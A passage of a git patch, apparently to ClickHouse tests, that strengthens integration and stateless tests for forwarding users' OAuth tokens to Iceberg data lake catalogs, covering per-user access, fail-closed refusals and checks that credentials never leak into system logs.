"protocolMapper": "oidc-audience-mapper", + "consentRequired": false, + "config": { + "included.client.audience": "clickhouse", + "id.token.claim": "false", + "access.token.claim": "true", + "introspection.token.claim": "true" + } + } + ] } ], "users": [ @@ -89,8 +78,16 @@ "firstName": "Lakekeeper", "lastName": "Admin", "requiredActions": [], - "credentials": [{ "type": "password", "value": "secret", "temporary": false }], - "realmRoles": ["default-roles-clickhouse-test"] + "credentials": [ + { + "type": "password", + "value": "secret", + "temporary": false + } + ], + "realmRoles": [ + "default-roles-clickhouse-test" + ] }, { "username": "alice", @@ -100,8 +97,16 @@ "firstName": "Alice", "lastName": "Tester", "requiredActions": [], - "credentials": [{ "type": "password", "value": "secret", "temporary": false }], - "realmRoles": ["default-roles-clickhouse-test"] + "credentials": [ + { + "type": "password", + "value": "secret", + "temporary": false + } + ], + "realmRoles": [ + "default-roles-clickhouse-test" + ] }, { "username": "bob", @@ -111,8 +116,16 @@ "firstName": "Bob", "lastName": "Tester", "requiredActions": [], - "credentials": [{ "type": "password", "value": "secret", "temporary": false }], - "realmRoles": ["default-roles-clickhouse-test"] + "credentials": [ + { + "type": "password", + "value": "secret", + "temporary": false + } + ], + "realmRoles": [ + "default-roles-clickhouse-test" + ] } ] } diff --git a/tests/integration/test_datalake_sso_lakekeeper/test.py b/tests/integration/test_datalake_sso_lakekeeper/test.py index 62b43745a408..cd77d1f5f943 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/test.py +++ b/tests/integration/test_datalake_sso_lakekeeper/test.py @@ -33,12 +33,19 @@ TOKEN_ENDPOINT = f"{KEYCLOAK_INTERNAL}/protocol/openid-connect/token" CATALOG_INTERNAL_URL = "http://lakekeeper:8181/catalog" -# Client whose tokens already carry `aud=lakekeeper` (default client scope), for passthrough. +# The client ClickHouse itself is registered as. Its audience mapper puts `lakekeeper` in every +# token it issues, which is what makes passthrough work, and it is also the client that performs +# the RFC 8693 exchange. CLIENT_ID = "clickhouse" CLIENT_SECRET = "clickhouse-secret" -# Client whose tokens do NOT, so an exchange is what has to produce the audience. +# A second client standing in for some other application the user came from. Its tokens are +# audienced for `clickhouse`, never for `lakekeeper`, so an exchange is what has to produce the +# audience the catalog requires. EXCHANGE_CLIENT_ID = "clickhouse-exchange" EXCHANGE_CLIENT_SECRET = "clickhouse-exchange-secret" +# `LAKEKEEPER__OPENID_SCOPE` in the compose file; Lakekeeper rejects a token whose `scope` claim +# does not contain it. +SCOPE = "openid" WAREHOUSES = ["wh_alice", "wh_bob", "wh_shared"] @@ -55,7 +62,7 @@ def lakekeeper_host_url(cluster): def get_token(node, username, password="secret", client_id=CLIENT_ID, client_secret=CLIENT_SECRET, - scope=None): + scope=SCOPE): """ Tokens are fetched from inside the ClickHouse container so that every participant -- ClickHouse, Lakekeeper and this test -- sees the same issuer, `http://keycloak:8080/realms/...`. @@ -94,6 +101,20 @@ def management(cluster, method, path, token, json_body=None, expected=(200, 201, return response +def lakekeeper_rejects(cluster, token): + """ + Whether Lakekeeper refuses this token outright. Used as a precondition, so that a test which + claims "this token would not have worked" says so on the catalog's authority rather than on a + reading of the token's own claims. + """ + response = requests.get( + f"{lakekeeper_host_url(cluster)}/management/v1/whoami", + headers={"Authorization": f"Bearer {token}"}, + timeout=60, + ) + return response.status_code == 401 + + def create_warehouse(cluster, token, name): minio_endpoint = f"http://{cluster.minio_ip}:{cluster.minio_port}" body = { @@ -235,7 +256,11 @@ def started_cluster(): for name in ("node1", "node2"): cluster.add_instance( name, - main_configs=["configs/token_forwarding.xml", "configs/cluster.xml"], + main_configs=[ + "configs/token_forwarding.xml", + "configs/cluster.xml", + "configs/session_log.xml", + ], user_configs=["configs/users.xml"], stay_alive=True, with_iceberg_catalog=True, @@ -247,6 +272,17 @@ def started_cluster(): cluster.start() node = cluster.instances["node1"] + # Auto-provisioned token users hold no privileges of their own; `common_roles` in + # `token_forwarding.xml` hands them this role. Access storage is local to each node, so + # both nodes need it. Granted broadly on purpose: every denial these tests assert has to + # come from the catalog, never from ClickHouse's own access control. + for instance in cluster.instances.values(): + instance.query("CREATE ROLE IF NOT EXISTS token_users") + instance.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") + # Reading table data goes to S3, guarded separately by the `SOURCES` privileges. + instance.query("GRANT S3 ON *.* TO token_users") + instance.query("GRANT REMOTE ON *.* TO token_users") + wait_for_lakekeeper(cluster) admin_token = get_token(node, "lkadmin") @@ -319,9 +355,11 @@ def test_users_see_different_tables(started_cluster): assert query_as_ok(node, alice, listing_sql.format(db="db_alice")).strip() == "ns.t_alice" assert query_as_ok(node, bob, listing_sql.format(db="db_bob")).strip() == "ns.t_bob" - # And neither can list the other's warehouse. - assert query_as(node, alice, listing_sql.format(db="db_bob")).status_code != 200 - assert query_as(node, bob, listing_sql.format(db="db_alice")).status_code != 200 + # And neither sees anything in the other's warehouse. Empty is the catalog's answer, not a + # symptom of nothing working: the two assertions above went through the same code path and did + # return a table, so an empty listing here can only be Lakekeeper withholding it. + assert query_as_ok(node, alice, listing_sql.format(db="db_bob")).strip() == "" + assert query_as_ok(node, bob, listing_sql.format(db="db_alice")).strip() == "" def test_alice_cannot_read_bobs_table(started_cluster): @@ -331,8 +369,12 @@ def test_alice_cannot_read_bobs_table(started_cluster): assert int(query_as_ok(node, get_token(node, "bob"), "SELECT count() FROM db_bob.`ns.t_bob`")) == 3 denied = query_as(node, get_token(node, "alice"), "SELECT count() FROM db_bob.`ns.t_bob`") - assert denied.status_code != 200 - assert "t_bob" not in denied.text or "403" in denied.text or "Forbidden" in denied.text + assert denied.status_code != 200, denied.text + # Bob read that very table a line ago, so the only thing that can make it unknown to Alice is + # the catalog refusing to describe it to her. + assert ( + "UNKNOWN_TABLE" in denied.text or "403" in denied.text or "Forbidden" in denied.text + ), denied.text def test_warm_credentials_cache_does_not_serve_another_user(started_cluster): @@ -439,6 +481,9 @@ def test_no_token_in_system_logs(started_cluster): query_as_ok(node, token, "SELECT count() FROM db_alice.`ns.t_alice`") # Also exercise a failing path, which is where an error message could echo the token. query_as(node, token, "SELECT count() FROM db_alice.`ns.does_not_exist`") + # And a failing authentication, which is what writes to `system.session_log` at all. The + # signature prefix the needle below is taken from survives the mangling. + query_as(node, token[:-4] + "AAAA", "SELECT 1") node.query("SYSTEM FLUSH LOGS") # The signature segment is the part that is unique to this token and long enough not to @@ -447,13 +492,19 @@ def test_no_token_in_system_logs(started_cluster): for table, columns in ( ("system.query_log", ["query", "exception", "stack_trace"]), ("system.text_log", ["message"]), - ("system.session_log", ["auth_id"]), + # `auth_id` is a UUID and could not carry a token; `failure_reason` is the free-text + # column, and the rejected token above is what puts a row in it. + ("system.session_log", ["failure_reason"]), ): condition = " OR ".join(f"{column} LIKE '%{needle}%'" for column in columns) found = node.query(f"SELECT count() FROM {table} WHERE {condition}").strip() assert found == "0", f"token leaked into {table}" - running = node.query(f"SELECT count() FROM system.processes WHERE query LIKE '%{needle}%'").strip() + # This query's own text contains the needle, so it matches itself; exclude it by id. + running = node.query( + f"SELECT count() FROM system.processes " + f"WHERE query LIKE '%{needle}%' AND query_id != queryID()" + ).strip() assert running == "0" @@ -465,7 +516,7 @@ def test_swarm_read_does_not_reach_the_catalog_from_workers(started_cluster): started = started_cluster node1 = started.instances["node1"] node2 = started.instances["node2"] - create_database(node1, "db_shared", "wh_shared", {"object_storage_cluster": "cluster_simple"}) + create_database(node1, "db_shared", "wh_shared") def catalog_requests(node): node.query("SYSTEM FLUSH LOGS") @@ -474,8 +525,27 @@ def catalog_requests(node): ).strip() return int(value) if value else 0 + query_id = f"swarm-{uuid.uuid4()}" before = catalog_requests(node2) - assert int(query_as_ok(node1, get_token(node1, "alice"), "SELECT count() FROM db_shared.`ns.t_shared`")) == 3 + # `object_storage_cluster` is a query setting, not a `DataLakeCatalog` one. An aggregate over a + # column rather than `count()`, so the answer cannot come from Iceberg metadata alone and the + # data files really are read. + assert int(query_as_ok( + node1, + get_token(node1, "alice"), + "SELECT sum(id) FROM db_shared.`ns.t_shared` " + "SETTINGS object_storage_cluster = 'cluster_simple'", + query_id, + )) == 3 + + # The worker has to have taken part, otherwise "it made no catalog request" is vacuously true. + node2.query("SYSTEM FLUSH LOGS") + worker_queries = node2.query( + f"SELECT count() FROM system.query_log " + f"WHERE initial_query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + assert int(worker_queries) > 0, "node2 never ran a part of the query" + assert catalog_requests(node2) == before @@ -490,8 +560,10 @@ def test_exchange_at_the_idp(started_cluster): "db_exchange", "wh_alice", { - "catalog_credential": f"{EXCHANGE_CLIENT_ID}:{EXCHANGE_CLIENT_SECRET}", - "auth_scope": "lakekeeper", + # The exchange is performed as the `clickhouse` client, the only one Keycloak lets + # mint tokens carrying the `lakekeeper` audience. + "catalog_credential": f"{CLIENT_ID}:{CLIENT_SECRET}", + "auth_scope": SCOPE, "oauth_token_exchange_uri": TOKEN_ENDPOINT, }, ) @@ -500,7 +572,9 @@ def test_exchange_at_the_idp(started_cluster): node, "alice", client_id=EXCHANGE_CLIENT_ID, client_secret=EXCHANGE_CLIENT_SECRET ) # Precondition: this token on its own is not accepted by Lakekeeper. - assert "lakekeeper" not in (jwt_claim(token, "aud") or []) + audience = jwt_claim(token, "aud") + assert "lakekeeper" not in ([audience] if isinstance(audience, str) else audience) + assert lakekeeper_rejects(started_cluster, token) query_id = f"exchange-{uuid.uuid4()}" assert int(query_as_ok(node, token, "SELECT count() FROM db_exchange.`ns.t_alice`", query_id)) == 3 diff --git a/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml index 60f5b0658026..9fb2e1579a5c 100644 --- a/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml +++ b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml @@ -23,6 +23,15 @@ hs256 default + + + + diff --git a/tests/integration/test_datalake_token_forwarding/test.py b/tests/integration/test_datalake_token_forwarding/test.py index 379b0cc5850c..eb6cb72c0832 100644 --- a/tests/integration/test_datalake_token_forwarding/test.py +++ b/tests/integration/test_datalake_token_forwarding/test.py @@ -21,11 +21,20 @@ import requests from helpers.cluster import ClickHouseCluster -from helpers.config_cluster import minio_secret_key +from helpers.config_cluster import minio_access_key, minio_secret_key SECRET = "datalake_token_forwarding_secret" BASE_URL = "http://rest:8181/v1" CATALOG_NAME = "demo" +# `async_insert` defaults to 1 here, and an asynchronous insert is flushed from a background queue +# whose context carries no forwarded token, so it can only ever fail closed against a forwarding +# database. These tests are about the synchronous commit in `IcebergStorageSink`, which is the path +# `docs/en/engines/database-engines/datalake.md` describes, so they pin the setting off. +WRITE_SETTINGS = { + "allow_insert_into_iceberg": 1, + "write_full_path_in_iceberg_metadata": 1, + "async_insert": 0, +} def make_token(user): @@ -48,6 +57,16 @@ def started_cluster(): ) logging.info("Starting cluster...") cluster.start() + + # Auto-provisioned token users hold no privileges of their own, so hand every one of them + # this role -- `common_roles` in `token_forwarding.xml` grants it. Created here rather than + # inside a test so that it already exists the first time a token user authenticates. + node = cluster.instances["node1"] + node.query("CREATE ROLE IF NOT EXISTS token_users") + node.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") + # Reading and writing table data goes to S3, which the `SOURCES` privileges guard separately. + node.query("GRANT S3 ON *.* TO token_users") + yield cluster finally: cluster.shutdown() @@ -78,15 +97,74 @@ def query_with_token(node, token, sql, **kwargs): return response.text -def create_database(node, name, settings): +def create_database(node, name, settings, storage_credentials=False): + """ + One engine argument by default, which is what makes per-user credential vending observable. + + `storage_credentials` adds the MinIO key pair as the second and third arguments. Anything that + reads or writes table *data* needs them: with a single argument the storage credentials have to + come from the catalog, and the fixture's catalog does not vend any. Pinning them leaves the + catalog identity as the only per-user thing in the query, which is what the write-path tests + are about. + """ + arguments = f"'{BASE_URL}'" + if storage_credentials: + arguments += f", '{minio_access_key}', '{minio_secret_key}'" node.query(f"DROP DATABASE IF EXISTS {name}") node.query( f"SET allow_experimental_database_iceberg=true;" - f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{BASE_URL}') " + f"CREATE DATABASE {name} ENGINE = DataLakeCatalog({arguments}) " f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" ) +def create_table_in_catalog(started_cluster, namespace, table): + """ + Create a table through the catalog's own REST API, bypassing ClickHouse entirely, so that a + listing has something to find. Without it `system.tables` returns zero rows whether the catalog + answered or refused, and an assertion on the count could not fail. + """ + response = requests.post( + f"{catalog_local_url(started_cluster)}/namespaces/{namespace}/tables", + json={ + "name": table, + "location": f"s3://warehouse-rest/{table}", + "schema": { + "type": "struct", + "schema-id": 0, + "fields": [{"id": 1, "name": "x", "required": False, "type": "string"}], + }, + }, + timeout=30, + ) + assert response.status_code in (200, 409), response.text + + +def catalog_tables(started_cluster, namespace): + """The catalog's own view of a namespace, fetched without going through ClickHouse.""" + response = requests.get( + f"{catalog_local_url(started_cluster)}/namespaces/{namespace}/tables", timeout=30 + ) + response.raise_for_status() + return {identifier["name"] for identifier in response.json()["identifiers"]} + + +def visible_tables(node, token, namespace, table, **kwargs): + """ + How many rows `system.tables` shows for one known table. Zero means the catalog listing did not + happen: `DatabaseDataLake::getLightweightTablesIterator` swallows catalog errors so that one + unreachable database cannot break the whole system table. + """ + return query_with_token( + node, + token, + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"AND name = '{namespace}.{table}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true", + **kwargs, + ).strip() + + def profile_event(node, query_id, event): node.query("SYSTEM FLUSH LOGS") return int( @@ -102,7 +180,9 @@ def test_passthrough_reaches_catalog(started_cluster): """A token-authenticated user can list the catalog; the token itself is what the catalog sees.""" node = started_cluster.instances["node1"] namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) create_database( node, @@ -115,14 +195,10 @@ def test_passthrough_reaches_catalog(started_cluster): }, ) - result = query_with_token( - node, - make_token("alice"), - f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " - f"SETTINGS show_data_lake_catalogs_in_system_tables = true", - ) - # The catalog answered rather than rejecting the request: the listing completed. - assert result.strip().isdigit() + # A table the catalog is known to hold has to come back. Asserting only that the count is a + # number would hold just as well when the catalog refused the request, because the listing + # swallows catalog errors and returns nothing. + assert visible_tables(node, make_token("alice"), namespace, table) == "1" def test_no_service_principal_fallback(started_cluster): @@ -132,7 +208,9 @@ def test_no_service_principal_fallback(started_cluster): """ node = started_cluster.instances["node1"] namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) create_database( node, @@ -147,13 +225,10 @@ def test_no_service_principal_fallback(started_cluster): ) query_id = f"fwd-{uuid.uuid4()}" - query_with_token( - node, - make_token("alice"), - f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " - f"SETTINGS show_data_lake_catalogs_in_system_tables = true", - params={"query_id": query_id}, - ) + # The listing has to succeed, otherwise a zero grant count would only mean nothing was asked. + assert visible_tables( + node, make_token("alice"), namespace, table, params={"query_id": query_id} + ) == "1" assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 @@ -211,7 +286,9 @@ def test_native_protocol_forwards_jwt(started_cluster): """`clickhouse-client --jwt` forwards the same way the HTTP interface does.""" node = started_cluster.instances["node1"] namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) create_database( node, @@ -231,10 +308,12 @@ def test_native_protocol_forwards_jwt(started_cluster): "-c", f"clickhouse client --jwt '{token}' --query " f"\"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"AND name = '{namespace}.{table}' " f"SETTINGS show_data_lake_catalogs_in_system_tables = true\"", ] ) - assert result.strip().isdigit(), result + # As over HTTP: the known table has to be listed, not merely some number returned. + assert result.strip() == "1", result def test_exchange_at_catalog_token_endpoint(started_cluster): @@ -357,3 +436,160 @@ def test_no_forwarding_without_the_server_setting(started_cluster): "1", ) node.query("SYSTEM RELOAD CONFIG") + + +def test_check_database_forwards_the_user_token(started_cluster): + """ + `CHECK DATABASE` contacts the catalog, so it has to carry the querying user's token like every + other statement. It used to send no token at all and therefore could never succeed against a + forwarding database, no matter how the session had authenticated. + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + }, + ) + + # `CHECK DATABASE` returns no rows: it either completes or throws. + query_with_token(node, make_token("checker"), f"CHECK DATABASE {CATALOG_NAME}") + + +def test_check_database_without_a_token_is_denied(started_cluster): + """The other half of the same statement: a session with no token must still fail closed.""" + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + output = node.query_and_get_error( + f"CHECK DATABASE {CATALOG_NAME}", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + + +WRITE_DATABASE_SETTINGS = { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + # A service principal is configured, so a fallback to it would succeed if one existed. + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, +} + + +def write_fixture(started_cluster, node): + """ + A namespace and a table the catalog already holds, plus a forwarding database that can reach + the data behind them. + + The table is registered through the catalog's own REST API rather than with `CREATE TABLE`: + `createStorageObjectStorage` builds the storage from the global context, which never holds a + user token, so `CREATE TABLE` against a forwarding database always fails closed. + """ + namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) + create_database(node, CATALOG_NAME, WRITE_DATABASE_SETTINGS, storage_credentials=True) + return namespace, table + + +def test_insert_reaches_the_catalog_as_the_querying_user(started_cluster): + """ + `INSERT` commits through `catalog->updateMetadata(..., context->getForwardedAuthToken())`, so + the write path has to carry the querying user's identity exactly as the read path does. + + `docs/en/engines/database-engines/datalake.md` promises this under "What is and is not + covered"; until this test there was nothing behind the promise. + """ + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + token = make_token("writer") + query_id = f"insert-{uuid.uuid4()}" + query_with_token( + node, + token, + f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written by the token user')", + params={"query_id": query_id, **WRITE_SETTINGS}, + ) + + # The commit was signed with the user's own identity, not quietly with the service principal. + assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 + # The snapshot the catalog now points at is the one this INSERT wrote. + assert ( + query_with_token(node, token, f"SELECT x FROM {CATALOG_NAME}.`{namespace}.{table}`").strip() + == "written by the token user" + ) + + +def test_insert_without_a_token_is_denied(started_cluster): + """The other half: a session with no token must not be able to write through the catalog.""" + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + output = node.query_and_get_error( + f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written by nobody')", + user="passworduser", + password="passworduser_password", + settings=WRITE_SETTINGS, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + + +def test_drop_table_reaches_the_catalog_as_the_querying_user(started_cluster): + """ + `StorageObjectStorage::drop` sends `catalog_auth_token`, a member captured when the storage was + constructed rather than read from a query context. The invariant that makes that safe is that + `DatabaseDataLake::dropTable` builds the storage from the query context and calls `drop` on it + synchronously, so the captured token is the querying user's. Nothing else exercises it. + """ + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + query_id = f"drop-{uuid.uuid4()}" + query_with_token( + node, + make_token("dropper"), + f"DROP TABLE {CATALOG_NAME}.`{namespace}.{table}`", + params={"query_id": query_id}, + ) + + # The catalog's own view, not ClickHouse's: the drop really reached it. + assert table not in catalog_tables(started_cluster, namespace) + assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 + + +def test_drop_table_without_a_token_is_denied(started_cluster): + """A session with no token cannot drop, and the refusal leaves the table intact.""" + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + output = node.query_and_get_error( + f"DROP TABLE {CATALOG_NAME}.`{namespace}.{table}`", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + # Fail closed means the table survives, not that it is half dropped. + assert table in catalog_tables(started_cluster, namespace) diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh index f041e7e583dc..05c7ae63b272 100755 --- a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh +++ b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh @@ -9,6 +9,8 @@ # No catalog is contacted: the database is created with forwarding on, which defers `/v1/config` # to the first user query. +CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal + CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) # shellcheck source=../shell_config.sh . "$CUR_DIR"/../shell_config.sh @@ -32,7 +34,7 @@ SETTINGS echo '-- secrets stay hidden' ${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' ${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -c 'super_client' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o "catalog_credential = '\[HIDDEN\]'" +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB} FORMAT TSVRaw" | grep -o "catalog_credential = '\[HIDDEN\]'" echo '-- forwarding settings stay visible' ${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference index 5cfd4e92276f..1b1287ff7168 100644 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference @@ -8,7 +8,9 @@ CATALOG_USER_TOKEN_NOT_AVAILABLE CATALOG_USER_TOKEN_NOT_AVAILABLE -- SHOW TABLES discloses nothing 0 --- error message names the remedies -enable_token_forwarding --- nothing token-shaped in query_log +-- the error names the server-level switch as the cause +server-level `enable_token_forwarding` setting is off +-- the credential never reaches system.query_log +0 +-- nor the server log 0 diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh index d1a2d125c3ee..ec31c01abe22 100755 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh @@ -1,10 +1,25 @@ #!/usr/bin/env bash # Tags: no-fasttest +# no-fasttest: `DataLakeCatalog` is registered only under `USE_AVRO && USE_PARQUET` +# (`src/Databases/registerDatabases.cpp`), and the fast test builds with `-DENABLE_LIBRARIES=0`. -# With `oauth_forward_user_token = 1` a session that authenticated without a bearer token has no -# identity to forward. Every path into the catalog must then refuse -- with -# CATALOG_USER_TOKEN_NOT_AVAILABLE, not `UNKNOWN_TABLE`, and never by quietly falling back to the -# shared service principal. +# `oauth_forward_user_token = 1` asks the catalog to be contacted as the user running the query +# rather than as the shared service principal. Forwarding also needs the server-level +# `enable_token_forwarding` setting, which defaults to `false` and which no config under +# `tests/config/` turns on, so on the stateless test server the bearer token is destroyed right +# after authentication and no session can carry one. +# +# That combination -- a database that insists on forwarding, on a server that forbids it -- is +# what this test pins down. Every path into the catalog must refuse it with +# `CATALOG_USER_TOKEN_NOT_AVAILABLE`: not `UNKNOWN_TABLE`, and never by quietly falling back to +# the service principal, which would run the query under the wrong identity. +# +# The mirror case -- forwarding allowed by the server, but this particular session authenticated +# with a password and so has no token -- throws the same error code from the same function, but it +# needs `enable_token_forwarding = 1`. A stateless test cannot arrange that: every stateless test +# shares one server, so a server-level setting is fixed for the whole run. It is covered instead by +# `test_password_user_is_denied_over_http` and `test_password_user_is_denied_over_native` in +# `tests/integration/test_datalake_token_forwarding/test.py`, whose cluster does set it. # # The catalog endpoint is never reached, so no catalog service is needed: the refusal happens # before the first request is built. @@ -17,15 +32,22 @@ CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) DB="db_token_fwd_closed_${CLICKHOUSE_DATABASE}" +# The service principal's client secret. Shaped like a JWT -- three dot-separated base64url +# segments, opening with the `eyJ` that a base64url-encoded JSON header always starts with -- so +# that it cannot be mistaken for English prose in a ClickHouse message, and carrying +# `${CLICKHOUSE_DATABASE}` so that it cannot be mistaken for a concurrent test's output either. +# Finding this string in a log is therefore unambiguous evidence of a leak. +CANARY="eyJhbGciOiJIUzI1NiJ9.${CLICKHOUSE_DATABASE}.c2VydmljZS1wcmluY2lwYWw" + ${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" -# A service principal *is* configured, so a fallback would succeed if one existed. +# A service principal *is* configured, so a fallback would have something to fall back to. ${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') SETTINGS catalog_type = 'rest', warehouse = 'demo', - catalog_credential = 'service:principal', + catalog_credential = 'service:${CANARY}', oauth_forward_user_token = 1 " @@ -35,6 +57,10 @@ echo '-- DESCRIBE' ${CLICKHOUSE_CLIENT} --query "DESCRIBE TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' echo '-- EXISTS' ${CLICKHOUSE_CLIENT} --query "EXISTS TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +# `CHECK DATABASE` reaches the catalog through `DatabaseDataLake::checkDatabase`, which takes the +# query context and forwards the querying user's token like every other statement. It used to send +# no token at all, which against a forwarding database meant it silently authenticated as the +# service principal; now it fails closed with the rest. echo '-- CHECK DATABASE' ${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' @@ -44,17 +70,29 @@ ${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER echo '-- SHOW TABLES discloses nothing' ${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" | wc -l -echo '-- error message names the remedies' -${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'enable_token_forwarding' +# Two `CATALOG_USER_TOKEN_NOT_AVAILABLE` branches share the error code, so pin down which one +# fired: this one is about the server switch, not about a session that merely lacks a token. The +# phrase is a whole clause rather than the bare setting name, which the message mentions twice. +echo '-- the error names the server-level switch as the cause' +${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'server-level .enable_token_forwarding. setting is off' -# The token never reaches the query log. There is no token in this session at all, so this is a -# guard against the error path echoing whatever it did have. -${CLICKHOUSE_CLIENT} --query "SYSTEM FLUSH LOGS" -echo '-- nothing token-shaped in query_log' +# The credential must not survive into any log. `catalog_credential` is masked out of the query +# text, and the refusal must not echo it into the exception either -- an error raised while +# assembling an `Authorization` header is exactly where a secret escapes. +${CLICKHOUSE_CLIENT} --query "SYSTEM FLUSH LOGS query_log, text_log" +echo '-- the credential never reaches system.query_log' ${CLICKHOUSE_CLIENT} --query " SELECT count() FROM system.query_log -WHERE current_database = currentDatabase() - AND (query ILIKE '%Bearer %' OR exception ILIKE '%Bearer %') +WHERE event_date >= yesterday() AND current_database = currentDatabase() + AND (query LIKE '%${CANARY}%' OR exception LIKE '%${CANARY}%') +" +# `system.text_log` is not scoped to this database -- it cannot be -- so this also covers a leak +# from a background thread, which would be logged under no database at all. The canary is unique +# to this run, so the unscoped scan cannot pick up another test's rows. +echo '-- nor the server log' +${CLICKHOUSE_CLIENT} --query " +SELECT count() FROM system.text_log +WHERE event_date >= yesterday() AND message LIKE '%${CANARY}%' " ${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" From 0ae6df465c3d1dcca5350dc8b84c4c8d3d015852 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Thu, 10 Sep 2026 10:33:10 +0200 Subject: [PATCH 3/6] Expect the catalog error from data lake table listings `DatabaseDataLake::getTablesIterator` and `getLightWeightTablesIterator` rethrow catalog errors when `show_data_lake_catalogs_in_system_tables` is on, instead of swallowing every failure into an empty listing. Two tests were written against the previous behaviour: - `05028_datalake_token_forwarding_fail_closed`: `InterpreterShowTablesQuery` turns that setting on for an explicit `SHOW TABLES` against a `DataLakeCatalog` database, so the refusal now reaches the client. The test still asserts that no table name is disclosed, and additionally that `CATALOG_USER_TOKEN_NOT_AVAILABLE` is reported. Plain `system.tables`, where the setting is off, keeps 